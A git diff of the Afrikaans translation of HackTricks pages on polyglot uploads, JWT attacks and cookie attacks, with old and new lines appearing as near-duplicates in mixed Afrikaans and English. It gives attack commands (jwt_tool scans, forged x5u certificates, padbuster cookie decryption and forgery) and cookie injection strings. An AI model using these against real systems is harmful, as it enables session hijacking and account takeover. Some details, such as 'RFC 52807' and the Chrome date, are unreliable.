Die kernnut van polyglot lêers lê in hul vermoë om sekuriteitsmaatreëls te omseil wat lêers op tipe basis skandeer. Gewone praktyk in verskeie toepassings behels die toelaat van slegs sekere lêertipes vir opgelaai—soos JPEG, GIF, of DOC—om die risiko wat deur potensieel skadelike formate (bv. JS, PHP, of Phar-lêers) inhou, te verminder. 'n Polyglot, deur te voldoen aan die struktuurvereistes van verskeie lêertipes, kan stilweg hierdie beperkings omseil.
Ten spyte van hul aanpasbaarheid, ondervind polyglots beperkings. Byvoorbeeld, terwyl 'n polyglot gelyktydig 'n PHAR-lêer (PHp ARchive) en 'n JPEG kan beliggaam, kan die sukses van sy opgelaai afhang van die platform se lêeruitbreidingsbeleid. As die stelsel streng is oor toelaatbare uitbreidings, mag die blote struktuurdualisiteit van 'n polyglot nie genoeg wees om sy opgelaai te waarborg nie.
@ -329,9 +329,9 @@ Meer inligting in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
As jy belangstel in **hacking loopbaan** en om die onhackable te hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
As jy belangstel in **hacking loopbaan** en die onhackable hack - **ons is besig om aan te stel!** (_vloeiend Pools geskryf en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}

View file

@ -15,9 +15,9 @@ Leer & oefen GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-siz
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op soek na mense!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -26,7 +26,7 @@ As jy belangstel in 'n **hacking loopbaan** en die onhackbare hack - **ons is op
### **Vinige Oorwinnings**
Voer [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) uit met die modus `All Tests!` en wag vir groen lyne
Voer [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) uit met modus `All Tests!` en wag vir groen lyne
```bash
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
@ -44,7 +44,7 @@ You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/s
### Manipuleer data sonder om enigiets te verander
Jy kan net die data manipuleer terwyl die handtekening dieselfde bly en kyk of die bediener die handtekening nagaan. Probeer om jou gebruikersnaam na "admin" te verander byvoorbeeld.
Jy kan net die data manipuleer terwyl jy die handtekening soos dit is laat en kyk of die bediener die handtekening nagaan. Probeer om jou gebruikersnaam na "admin" te verander byvoorbeeld.
#### **Word die token nagegaan?**
@ -96,7 +96,7 @@ Dit kan gedoen word met die "JSON Web Tokens" Burp uitbreiding.\
### JWKS Spoofing
Die instruksies beskryf 'n metode om die sekuriteit van JWT tokens te evalueer, veral dié wat 'n "jku" kop eis. Hierdie eis moet skakel na 'n JWKS (JSON Web Key Set) lêer wat die publieke sleutel bevat wat nodig is vir die token se verifikasie.
Die instruksies detail 'n metode om die sekuriteit van JWT tokens te evalueer, veral dié wat 'n "jku" kop eis. Hierdie eis moet skakel na 'n JWKS (JSON Web Key Set) lêer wat die publieke sleutel bevat wat nodig is vir die token se verifikasie.
* **Evalueer Tokens met "jku" Kop**:
* Verifieer die "jku" eis se URL om te verseker dat dit na die toepaslike JWKS lêer lei.
@ -167,7 +167,7 @@ print("e:", hex(key.e))
```
#### x5u
X.509 URL. 'n URI wat na 'n stel X.509 (n sertifikaatformaatstandaard) publieke sertifikate in PEM-vorm verwys. Die eerste sertifikaat in die stel moet die een wees wat gebruik word om hierdie JWT te teken. Die daaropvolgende sertifikate teken elk die vorige een, wat die sertifikaatketting voltooi. X.509 is gedefinieer in RFC 52807. Vervoersekuriteit is vereis om die sertifikate oor te dra.
X.509 URL. 'n URI wat na 'n stel X.509 (n sertifikaatformaatstandaard) publieke sertifikate verwys wat in PEM-vorm gekodeer is. Die eerste sertifikaat in die stel moet die een wees wat gebruik word om hierdie JWT te teken. Die daaropvolgende sertifikate teken elk die vorige een, wat die sertifikaatketting voltooi. X.509 is gedefinieer in RFC 52807. Vervoersekuriteit is vereis om die sertifikate oor te dra.
Probeer om **hierdie kop te verander na 'n URL onder jou beheer** en kyk of enige versoek ontvang word. In daardie geval **kan jy die JWT manipuleer**.
@ -176,7 +176,7 @@ Om 'n nuwe token te vervals met 'n sertifikaat wat deur jou beheer word, moet jy
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
```
Then you can use for example [**jwt.io**](https://jwt.io) to create the new JWT with the **gecreëerde publieke en private sleutels en die die parameter x5u na die .crt sertifikaat wys.**
Then you can use for example [**jwt.io**](https://jwt.io) to create the new JWT with the **gecreëerde publieke en private sleutels en die parameter x5u na die sertifikaat .crt wat geskep is, te wys.**
![](<../.gitbook/assets/image (956).png>)
@ -193,13 +193,13 @@ If the attacker **genereer 'n self-ondertekende sertifikaat** and creates a forg
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
```
### Ingebedde Publieke Sleutel (CVE-2018-0114)
### Embedded Public Key (CVE-2018-0114)
As die JWT 'n ingebedde publieke sleutel het soos in die volgende scenario:
As die JWT 'n openbare sleutel ingebed het soos in die volgende scenario:
![](<../.gitbook/assets/image (624).png>)
Met behulp van die volgende nodejs-skrip is dit moontlik om 'n publieke sleutel uit daardie data te genereer:
Met die volgende nodejs-skrip is dit moontlik om 'n openbare sleutel uit daardie data te genereer:
```bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
@ -246,13 +246,13 @@ However, imagine a situation where the maximun length of the ID is 4 (0001-9999)
**Cross-service Relay Aanvalle**
Dit is waargeneem dat sommige webtoepassings op 'n vertroude JWT-diens staatmaak vir die generasie en bestuur van hul tokens. Voorvalle is aangeteken waar 'n token, gegenereer vir een kliënt deur die JWT-diens, deur 'n ander kliënt van dieselfde JWT-diens aanvaar is. As die uitreiking of hernuwing van 'n JWT via 'n derdeparty-diens waargeneem word, moet die moontlikheid om 'n rekening op 'n ander kliënt van daardie diens aan te meld met dieselfde gebruikersnaam/e-pos ondersoek word. 'n Poging moet dan aangewend word om die verkregen token in 'n versoek aan die teiken te herhaal om te sien of dit aanvaar word.
Dit is waargeneem dat sommige webtoepassings staatmaak op 'n vertroude JWT-diens vir die generasie en bestuur van hul tokens. Voorvalle is aangeteken waar 'n token, gegenereer vir een kliënt deur die JWT-diens, deur 'n ander kliënt van dieselfde JWT-diens aanvaar is. As die uitreiking of hernuwing van 'n JWT via 'n derdeparty-diens waargeneem word, moet die moontlikheid om 'n rekening op 'n ander kliënt van daardie diens aan te meld met dieselfde gebruikersnaam/e-pos ondersoek word. 'n Poging moet dan aangewend word om die verkregen token in 'n versoek aan die teiken te herhaal om te sien of dit aanvaar word.
* 'n Kritieke probleem mag aangedui word deur die aanvaarding van jou token, wat moontlik die nabootsing van enige gebruiker se rekening toelaat. Dit moet egter opgemerk word dat toestemming vir wyer toetsing benodig mag word as om aan te meld op 'n derdeparty-toepassing, aangesien dit 'n wettige grys area kan betree.
* 'n Kritieke probleem mag aangedui word deur die aanvaarding van jou token, wat moontlik die nabootsing van enige gebruiker se rekening toelaat. Dit moet egter opgemerk word dat toestemming vir wyer toetsing benodig mag word as om aan te meld op 'n derdeparty-toepassing, aangesien dit 'n wettige grys gebied kan betree.
**Vervaldatum Kontrole van Tokens**
Die token se vervaldatum word nagegaan met behulp van die "exp" Payload eis. Gegewe dat JWTs dikwels sonder sessie-inligting gebruik word, is versigtige hantering nodig. In baie gevalle kan die vaslegging en herhaling van 'n ander gebruiker se JWT die nabootsing van daardie gebruiker moontlik maak. Die JWT RFC beveel aan om JWT herhalingsaanvalle te verminder deur die "exp" eis te gebruik om 'n vervaldatum vir die token in te stel. Verder is die implementering van relevante kontroles deur die toepassing om die verwerking van hierdie waarde en die verwerping van vervalde tokens te verseker, van kardinale belang. As die token 'n "exp" eis insluit en toetsing tydsbeperkings toelaat, word dit aanbeveel om die token te stoor en dit na die vervaldatum te herhaal. Die inhoud van die token, insluitend tydstempel parsings en vervaldatum kontrole (tydstempel in UTC), kan gelees word met behulp van die jwt\_tool se -R vlag.
Die token se vervaldatum word nagegaan met behulp van die "exp" Payload eis. Gegewe dat JWTs dikwels sonder sessie-inligting gebruik word, is versigtige hantering nodig. In baie gevalle kan die vang en herhaling van 'n ander gebruiker se JWT die nabootsing van daardie gebruiker moontlik maak. Die JWT RFC beveel aan om JWT herhalingsaanvalle te verminder deur die "exp" eis te gebruik om 'n vervaldatum vir die token in te stel. Verder is die implementering van relevante kontroles deur die toepassing om te verseker dat hierdie waarde verwerk word en dat vervalde tokens verwerp word, van kardinale belang. As die token 'n "exp" eis insluit en toets tydgrense dit toelaat, word dit aanbeveel om die token te stoor en dit na die vervaldatum te herhaal. Die inhoud van die token, insluitend tydstempel parsing en vervaldatum kontrole (tydstempel in UTC), kan gelees word met behulp van die jwt\_tool se -R vlag.
* 'n Sekuriteitsrisiko mag teenwoordig wees as die toepassing steeds die token valideer, aangesien dit mag impliseer dat die token nooit kan verval nie.
@ -260,7 +260,7 @@ Die token se vervaldatum word nagegaan met behulp van die "exp" Payload eis. Geg
{% embed url="https://github.com/ticarpi/jwt_tool" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).

View file

@ -6,7 +6,7 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
<details>
<summary>Ondersteun HackTricks</summary>
<summary>Support HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@ -21,7 +21,7 @@ Cookies kom met verskeie eienskappe wat hul gedrag in die gebruiker se blaaiers
### Expires and Max-Age
Die vervaldatum van 'n koekie word bepaal deur die `Expires` eienskap. Omgekeerd definieer die `Max-age` eienskap die tyd in sekondes totdat 'n koekie verwyder word. **Kies vir `Max-age` aangesien dit meer moderne praktyke weerspieël.**
Die vervaldatum van 'n koekie word bepaal deur die `Expires` eienskap. Omgekeerd definieer die `Max-age` eienskap die tyd in sekondes totdat 'n koekie verwyder word. **Kies `Max-age` aangesien dit meer moderne praktyke weerspieël.**
### Domain
@ -36,32 +36,32 @@ Die gasheer wat 'n koekie ontvang, word gespesifiseer deur die `Domain` eienskap
Wanneer twee koekies dieselfde naam het, word die een wat gekies word om te stuur, gebaseer op:
* Die koekie wat die langste pad in die versoekte URL ooreenstem.
* Die mees onlangse koekie as die pades identies is.
* Die mees onlangs ingestelde koekie as die pades identies is.
### SameSite
* Die `SameSite` eienskap bepaal of koekies gestuur word op versoeke wat afkomstig is van derdeparty domeine. Dit bied drie instellings:
* **Strict**: Beperk die koekie om nie op derdeparty versoeke gestuur te word nie.
* **Streng**: Beperk die koekie om nie op derdeparty versoeke gestuur te word nie.
* **Lax**: Laat die koekie toe om gestuur te word met GET versoeke wat deur derdeparty webwerwe geïnisieer word.
* **None**: Laat die koekie toe om van enige derdeparty domein gestuur te word.
* **Geen**: Laat die koekie toe om gestuur te word vanaf enige derdeparty domein.
Onthou, terwyl jy koekies konfigureer, kan die begrip van hierdie eienskappe help om te verseker dat hulle soos verwag oor verskillende scenario's optree.
| **Versoek tipe** | **Voorbeeld kode** | **Koekies gestuur wanneer** |
| **Request Type** | **Example Code** | **Cookies Sent When** |
| ---------------- | ---------------------------------- | --------------------- |
| Skakel | \<a href="...">\</a> | NotSet\*, Lax, None |
| Link | \<a href="...">\</a> | NotSet\*, Lax, None |
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
| Vorm GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
| Vorm POST | \<form method="POST" action="..."> | NotSet\*, None |
| Form GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
| Form POST | \<form method="POST" action="..."> | NotSet\*, None |
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
| AJAX | $.get("...") | NotSet\*, None |
| Beeld | \<img src="..."> | NetSet\*, None |
| Image | \<img src="..."> | NetSet\*, None |
Tabel van [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) en effens gewysig.\
'n Koekie met _**SameSite**_ eienskap sal **CSRF-aanvalle** **verlig** waar 'n ingelogde sessie nodig is.
**\*Let daarop dat vanaf Chrome80 (feb/2019) die standaard gedrag van 'n koekie sonder 'n koekie samesite** **eienskap sal lax wees** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Let daarop dat tydelik, na die toepassing van hierdie verandering, die **koekies sonder 'n SameSite** **beleid** in Chrome sal **behandel word as None** gedurende die **eerste 2 minute en dan as Lax vir topvlak kruis-web POST versoek.**
Let daarop dat tydelik, na die toepassing van hierdie verandering, die **koekies sonder 'n SameSite** **beleid** in Chrome sal **as Geen** behandel word gedurende die **eerste 2 minute en dan as Lax vir topvlak kruis-web POST versoek.**
## Cookies Flags
@ -69,19 +69,19 @@ Let daarop dat tydelik, na die toepassing van hierdie verandering, die **koekies
Dit verhoed dat die **klient** toegang tot die koekie het (Via **Javascript** byvoorbeeld: `document.cookie`)
#### **Omseilings**
#### **Bypasses**
* As die bladsy **die koekies as die antwoord** van 'n versoek stuur (byvoorbeeld in 'n **PHPinfo** bladsy), is dit moontlik om die XSS te misbruik om 'n versoek na hierdie bladsy te stuur en **die koekies** uit die antwoord te **steel** (kyk 'n voorbeeld in [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
* Dit kan omseil word met **TRACE** **HTTP** versoeke aangesien die antwoord van die bediener (as hierdie HTTP metode beskikbaar is) die koekies wat gestuur is, sal weerspieël. Hierdie tegniek word **Cross-Site Tracking** genoem.
* Hierdie tegniek word vermy deur **moderne blaaiers deur nie toe te laat om 'n TRACE** versoek van JS te stuur nie. Tog is daar sekere omseilings in spesifieke sagteware gevind, soos om `\r\nTRACE` in plaas van `TRACE` na IE6.0 SP2 te stuur.
* Hierdie tegniek word vermy deur **moderne blaaiers deur nie toe te laat om 'n TRACE** versoek van JS te stuur nie. Daar is egter sekere omseilings in spesifieke sagteware gevind, soos om `\r\nTRACE` in plaas van `TRACE` na IE6.0 SP2 te stuur.
* 'n Ander manier is die uitbuiting van nul/dag kwesbaarhede van die blaaiers.
* Dit is moontlik om **HttpOnly koekies** te oorskry deur 'n Koekie Jar oorgeloop aanval uit te voer:
* Dit is moontlik om **HttpOnly koekies** te **oor te skryf** deur 'n Koekie Jar overflow aanval uit te voer:
{% content-ref url="cookie-jar-overflow.md" %}
[cookie-jar-overflow.md](cookie-jar-overflow.md)
{% endcontent-ref %}
* Dit is moontlik om [**Cookie Smuggling**](./#cookie-smuggling) aanval te gebruik om hierdie koekies te ekfiltreer.
* Dit is moontlik om [**Cookie Smuggling**](./#cookie-smuggling) aanval te gebruik om hierdie koekies te ekfiltreer
### Secure
@ -89,26 +89,26 @@ Die versoek sal **slegs** die koekie in 'n HTTP versoek stuur as die versoek oor
## Cookies Prefixes
Koekies wat met `__Secure-` begin, moet saam met die `secure` vlag van bladsye wat deur HTTPS beveilig is, ingestel word.
Koekies wat met `__Secure-` ge-prefiks is, moet saam met die `secure` vlag van bladsye wat deur HTTPS beveilig is, ingestel word.
Vir koekies wat met `__Host-` begin, moet verskeie voorwaardes nagekom word:
Vir koekies wat met `__Host-` ge-prefiks is, moet verskeie voorwaardes nagekom word:
* Hulle moet met die `secure` vlag ingestel word.
* Hulle moet afkomstig wees van 'n bladsy wat deur HTTPS beveilig is.
* Hulle is verbode om 'n domein te spesifiseer, wat hul oordrag na subdomeine voorkom.
* Die pad vir hierdie koekies moet op `/` ingestel wees.
Dit is belangrik om op te let dat koekies wat met `__Host-` begin, nie toegelaat word om na superdomeine of subdomeine gestuur te word nie. Hierdie beperking help om toepassingskoekies te isoleer. Dus, om die `__Host-` voorvoegsel vir alle toepassingskoekies te gebruik, kan beskou word as 'n goeie praktyk om sekuriteit en isolasie te verbeter.
Dit is belangrik om op te let dat koekies wat met `__Host-` ge-prefiks is, nie toegelaat word om na superdomeine of subdomeine gestuur te word nie. Hierdie beperking help om toepassingskoekies te isoleer. Dus, om die `__Host-` voorvoegsel vir alle toepassingskoekies te gebruik, kan beskou word as 'n goeie praktyk om sekuriteit en isolasie te verbeter.
### Overwriting cookies
So, een van die beskermings van `__Host-` voorvoegsel koekies is om te voorkom dat hulle van subdomeine oorgeskryf word. Dit voorkom byvoorbeeld [**Cookie Tossing aanvalle**](cookie-tossing.md). In die praatjie [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) word aangebied dat dit moontlik was om \_\_HOST- voorvoegsel koekies van subdomein in te stel, deur die parser te bedrieg, byvoorbeeld, om "=" aan die begin of aan die begin en die einde toe te voeg...:
So, een van die beskermings van `__Host-` ge-prefiks koekies is om te voorkom dat hulle van subdomeine oorgeskryf word. Dit voorkom byvoorbeeld [**Cookie Tossing aanvalle**](cookie-tossing.md). In die praatjie [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) word aangebied dat dit moontlik was om \_\_HOST- ge-prefiks koekies van subdomein in te stel, deur die parser te bedrieg, byvoorbeeld, om "=" aan die begin of aan die begin en die einde by te voeg...:
<figure><img src="../../.gitbook/assets/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Of in PHP was dit moontlik om **ander karakters aan die begin** van die koekie naam toe te voeg wat **vervang sou word deur onderstreep** karakters, wat dit moontlik maak om `__HOST-` koekies te oorskry:
Of in PHP was dit moontlik om **ander karakters aan die begin** van die koekie naam by te voeg wat **vervang sou word deur onderstreep** karakters, wat dit moontlik maak om `__HOST-` koekies oor te skryf:
<figure><img src="../../.gitbook/assets/image (7) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
## Cookies Attacks
@ -144,9 +144,9 @@ As jy 'n **XSS in 'n subdomein** gevind het of jy **beheer 'n subdomein**, lees:
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
Klik op die vorige skakel om toegang te verkry tot 'n bladsy wat moontlike foute in JWT verduidelik.
Klik op die vorige skakel om toegang te verkry tot 'n bladsy wat moontlike gebreke in JWT verduidelik.
JSON Web Tokens (JWT) wat in koekies gebruik word, kan ook kwesbaarhede hê. Vir diepgaande inligting oor potensiële foute en hoe om dit te benut, word dit aanbeveel om die gekoppelde dokument oor die hack van JWT te raadpleeg.
JSON Web Tokens (JWT) wat in koekies gebruik word, kan ook kwesbaarhede hê. Vir diepgaande inligting oor potensiële gebreke en hoe om dit te benut, word dit aanbeveel om die gekoppelde dokument oor die hack van JWT te raadpleeg.
### Cross-Site Request Forgery (CSRF)
@ -154,7 +154,7 @@ Hierdie aanval dwing 'n ingelogde gebruiker om ongewenste aksies op 'n webtoepas
### Empty Cookies
(Kyk verder besonderhede in die [oorspronklike navorsing](https://blog.ankursundara.com/cookie-bugs/)) Blaaiers laat die skepping van koekies sonder 'n naam toe, wat deur JavaScript soos volg demonstreer kan word:
(Kyk na verdere besonderhede in die[ oorspronklike navorsing](https://blog.ankursundara.com/cookie-bugs/)) Blaaiers laat die skepping van koekies sonder 'n naam toe, wat deur JavaScript soos volg demonstreer kan word:
```js
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
@ -168,11 +168,11 @@ document.cookie = `${name}=${value}`;
setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's value
```
Dit lei daartoe dat die blaaier 'n koekie-kopstuk stuur wat deur elke webbediener geïnterpreteer word as 'n koekie met die naam `a` en 'n waarde `b`.
Dit lei daartoe dat die blaaskas 'n koekie-kopstuk stuur wat deur elke webbediener geïnterpreteer word as 'n koekie met die naam `a` en 'n waarde `b`.
#### Chrome Fout: Unicode Surrogate Codepoint Probleem
In Chrome, as 'n Unicode surrogate codepoint deel is van 'n stel koekie, word `document.cookie` beskadig, wat 'n leë string teruggee.
In Chrome, as 'n Unicode surrogate codepoint deel is van 'n stel koekie, word `document.cookie` beskadig, wat 'n leë string teruggee:
```js
document.cookie = "\ud800=meep";
```
@ -180,13 +180,13 @@ This results in `document.cookie` outputting an empty string, indicating permane
#### Cookie Smuggling as gevolg van Parsing Probleme
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Verskeie webbedieners, insluitend dié van Java (Jetty, TomCat, Undertow) en Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), hanteer koekie stringe verkeerd as gevolg van verouderde RFC2965 ondersteuning. Hulle lees 'n dubbel-aanhalingstekens koekiewaarde as 'n enkele waarde, selfs al sluit dit puntkomma's in, wat normaalweg sleutel-waarde pare moet skei:
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Verskeie webbedieners, insluitend dié van Java (Jetty, TomCat, Undertow) en Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), hanteer koekie stringe verkeerd as gevolg van verouderde RFC2965 ondersteuning. Hulle lees 'n dubbel-aanhaling koekiewaarde as 'n enkele waarde, selfs al sluit dit puntkommas in, wat normaalweg sleutel-waarde pare moet skei:
```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
```
#### Cookie Injection Kw vulnerabilities
#### Koekie-inspuitingskw vulnerabilities
(Kyk na verdere besonderhede in die [oorspronklike navorsing](https://blog.ankursundara.com/cookie-bugs/)) Die onkorrekte ontleding van koekies deur bedieners, veral Undertow, Zope, en dié wat Python se `http.cookie.SimpleCookie` en `http.cookie.BaseCookie` gebruik, skep geleenthede vir koekie-inspuitaanvalle. Hierdie bedieners slaag nie daarin om die begin van nuwe koekies behoorlik te begrens nie, wat dit moontlik maak vir aanvallers om koekies na te maak:
(Kyk na verdere besonderhede in die [oorspronklike navorsing](https://blog.ankursundara.com/cookie-bugs/)) Die onakkurate ontleding van koekies deur bedieners, veral Undertow, Zope, en dié wat Python se `http.cookie.SimpleCookie` en `http.cookie.BaseCookie` gebruik, skep geleenthede vir koekie-inspuitingsaanvalle. Hierdie bedieners slaag nie daarin om die begin van nuwe koekies behoorlik te begrens nie, wat dit moontlik maak vir aanvallers om koekies na te maak:
* Undertow verwag 'n nuwe koekie onmiddellik na 'n aangehaalde waarde sonder 'n puntkomma.
* Zope soek 'n komma om die volgende koekie te begin ontleed.
@ -200,7 +200,7 @@ Hierdie kwesbaarheid is veral gevaarlik in webtoepassings wat op koekie-gebaseer
* Die **koekie** is die **dieselfde** elke keer wanneer jy **aanmeld**.
* Meld uit en probeer om dieselfde koekie te gebruik.
* Probeer om met 2 toestelle (of blaaiers) na dieselfde rekening in te teken met dieselfde koekie.
* Probeer om met 2 toestelle (of blaaiers) na dieselfde rekening aan te meld met dieselfde koekie.
* Kyk of die koekie enige inligting daarin het en probeer om dit te wysig.
* Probeer om verskeie rekeninge met amper dieselfde gebruikersnaam te skep en kyk of jy ooreenkomste kan sien.
* Kyk na die "**onthou my**" opsie as dit bestaan om te sien hoe dit werk. As dit bestaan en kwesbaar kan wees, gebruik altyd die koekie van **onthou my** sonder enige ander koekie.
@ -211,7 +211,7 @@ Hierdie kwesbaarheid is veral gevaarlik in webtoepassings wat op koekie-gebaseer
As die koekie dieselfde bly (of amper) wanneer jy aanmeld, beteken dit waarskynlik dat die koekie verband hou met 'n veld van jou rekening (waarskynlik die gebruikersnaam). Dan kan jy:
* Probeer om baie **rekeninge** met gebruikersname wat baie **soortgelyk** is te skep en probeer om te **raai** hoe die algoritme werk.
* Probeer om die **gebruikersnaam te brute-force**. As die koekie slegs as 'n verifikasietegniek vir jou gebruikersnaam stoor, kan jy 'n rekening met die gebruikersnaam "**Bmin**" skep en elke enkele **bit** van jou koekie **brute-force**, omdat een van die koekies wat jy sal probeer die een behoort aan "**admin**".
* Probeer om die **gebruikersnaam te brute-force**. As die koekie slegs as 'n verifikasiemetode vir jou gebruikersnaam stoor, kan jy 'n rekening met die gebruikersnaam "**Bmin**" skep en elke enkele **bit** van jou koekie **brute-force**, omdat een van die koekies wat jy sal probeer die een behoort aan "**admin**".
* Probeer **Padding** **Oracle** (jy kan die inhoud van die koekie ontsleutel). Gebruik **padbuster**.
**Padding Oracle - Padbuster voorbeelde**
@ -224,15 +224,15 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
```
Padbuster sal verskeie pogings maak en sal jou vra watter voorwaarde die foutvoorwaarde is (die een wat nie geldig is nie).
Padbuster sal verskeie pogings doen en sal jou vra watter voorwaarde die foutvoorwaarde is (die een wat nie geldig is nie).
Dan sal dit begin om die koekie te dekripteer (dit kan 'n paar minute neem)
Dan sal dit begin om die koekie te ontsleutel (dit kan 'n paar minute neem)
As die aanval suksesvol uitgevoer is, kan jy probeer om 'n string van jou keuse te enkripteer. Byvoorbeeld, as jy **encrypt** **user=administrator** wil enkripteer.
As die aanval suksesvol uitgevoer is, kan jy probeer om 'n string van jou keuse te enkripteer. Byvoorbeeld, as jy **enkripteer** **user=administrator** wil.
```
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
```
Hierdie uitvoering sal jou die koekie korrek versleuteld en gekodeer gee met die string **user=administrator** binne.
Hierdie uitvoering sal jou die koekie korrek versleuteld en gekodeer met die string **user=administrator** binne-in gee.
**CBC-MAC**
@ -242,7 +242,7 @@ Miskien kan 'n koekie 'n waarde hê en kan dit met CBC onderteken word. Dan is d
1. Kry die handtekening van gebruikersnaam **administ** = **t**
2. Kry die handtekening van gebruikersnaam **rator\x00\x00\x00 XOR t** = **t'**
3. Stel in die koekie die waarde **administrator+t'** (**t'** sal 'n geldige handtekening wees van **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
3. Stel in die koekie die waarde **administrator+t'** in (**t'** sal 'n geldige handtekening wees van **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
**ECB**
@ -251,9 +251,9 @@ Wanneer jy aanmeld, moet die koekie wat jy ontvang altyd dieselfde wees.
**Hoe om te ontdek en aan te val:**
Skep 2 gebruikers met byna dieselfde data (gebruikersnaam, wagwoord, e-pos, ens.) en probeer om 'n patroon binne die gegewe koekie te ontdek.
Skep 2 gebruikers met amper dieselfde data (gebruikersnaam, wagwoord, e-pos, ens.) en probeer om 'n patroon binne die gegewe koekie te ontdek.
Skep 'n gebruiker genoem byvoorbeeld "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" en kyk of daar enige patroon in die koekie is (aangesien ECB met dieselfde sleutel elke blok versleutelt, kan dieselfde versleutelde bytes verskyn as die gebruikersnaam versleuteld word).
Skep 'n gebruiker genaamd byvoorbeeld "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" en kyk of daar enige patroon in die koekie is (aangesien ECB met dieselfde sleutel elke blok versleuteld, kan dieselfde versleutelde bytes verskyn as die gebruikersnaam versleuteld word).
